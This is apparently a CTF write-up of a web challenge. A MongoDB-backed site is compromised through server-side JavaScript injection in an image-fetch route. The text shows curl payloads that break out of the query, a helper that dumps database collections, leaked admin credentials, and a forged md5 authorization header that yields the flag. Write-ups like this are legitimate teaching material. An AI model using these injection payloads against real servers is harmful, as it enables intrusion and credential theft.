The web page states that the auther is going to learn JS & SQL. So let's focus
on the JS:  
```  
$(document).ready(function() {  
$("img").each(function() {  
var t = $(this),  
i = t.attr("id");  
$.get("/get/image/" + i, function(i) {  
t.attr("src", i)  
})  
}), $("p").each(function() {  
var t = $(this),  
i = t.attr("id");  
$.get("/get/text/" + i, function(i) {  
t.html(i)  
})  
});  
var j = '/admin_area';  
$("h2").each(function() {  
var t = $(this),  
i = t.attr("id");  
$.get("/get/title/" + i, function(i) {  
t.html(i)  
})  
})  
});  
```  
There are 3 types of xhr:  
* /get/image/[id]  
* /get/text/[id]  
* /get/image/[id]

and one url:  
* /admin_area

First try to exploit 3 xhr:  
> $ curl "http://206.189.54.119:5000/get/image/'"  
>  
> Not Found  
>  
> $ curl "http://206.189.54.119:5000/get/text/'"  
>  
> Not Found.  
>  
> $ curl "http://206.189.54.119:5000/get/title/'"  
>  
> Not Found.

Not exploitable? Take a closer look?  
> $ curl -v "http://206.189.54.119:5000/get/image/'"  
>  
> < Application-Error: exception: SyntaxError: Unexpected token ILLEGAL  
>  
> Not Found

Try something else:  
> $ curl -v "http://206.189.54.119:5000/get/image/xxx"  
>  
> < Application-Error: exception: ReferenceError: xxx is not defined near
> 'x});return res;'  
>  
> Not Found

See the code? Try it: (%2F%2F to comment out the rest, escaping %20/%2F to
make it match the route)  
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;%2F%2F"  
>  
> < Application-Error: exception: SyntaxError: Unexpected end of input  
>  
> Not Found

Something missing? maybe end of block/function?  
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;}%2F%2F"  
>  
> /images/sd4x_378x225.jpg

OK. worked! Now inject something to return:  
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return{1:1};}%2F%2F"  
>  
> < Application-Error: Couln't find "picture_path" property in returning
> object from database.  
>  
> Not Found

Change the key:  
> $ curl -v -g
> "http://206.189.54.119:5000/get/image/1});return{'picture_path':'hello'};}%2F%2F"  
>  
> hello

Injection suceed! Now we have the injection point:  
```  
inject()  
{  
curl -g
"http://206.189.54.119:5000/get/image/1});return{'picture_path':tojson($1)}}%2F%2F"  
}  
inject(this)  
```

and got some code piece:  
```  
...  
this._db = db;  
...  
"_mongo" : connection to EMBEDDED,  
"db" : personal_site,  
...  
```

The site uses mongodb, and we have access to db.  
```  
inject 'db.getCollectionNames()'  
```  
> [  
> "authentication",  
> "contents",  
> "credentials",  
> "images",  
> "system.indexes",  
> "titles"  
> ]  
```  
inject 'db.authentication.find({}).toArray()'  
inject 'db.credentials.find({}).toArray()'  
```  
```  
[  
{  
"_id" : ObjectId("5ae63ae0a86f623c83fecfb3"),  
"id" : 1,  
"method" : "post_data",  
"format" : "username=[username]&password=[password]",  
"activate" : "false"  
},  
{  
"_id" : ObjectId("5ae63ae0a86f623c83fecfb4"),  
"id" : 2,  
"method" : "header",  
"format" : "md5(se3cr3t|[username]|[password])",  
"activate" : "true"  
},  
{  
"_id" : ObjectId("5ae66f87dbf0b5383518fc3d"),  
"id" : 50,  
"activate" : false  
}  
][  
{  
"_id" : ObjectId("5ae63ae0a86f623c83fecfb1"),  
"id" : 1,  
"username" : "administrator",  
"password" : "H4rdP@ssw0rd?"  
},  
{  
"_id" : ObjectId("5ae63ae0a86f623c83fecfb2"),  
"id" : 2,  
"username" : "user",  
"password" : "epass"  
}  
]  
```

Now we have the authentication method and credentials, we can try accessing
/admin_area  
> $ curl "http://206.189.54.119:5000/admin_area"  
>  
> authorization_token not found

From above, the only activated authentication method is via header, with
format "md5(se3cr3t|[username]|[password])"  
> curl "http://206.189.54.119:5000/admin_area" -H "authorization_token:
> 2cc348195dc1ab9842f9446b41ef650b"  
>  
> ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}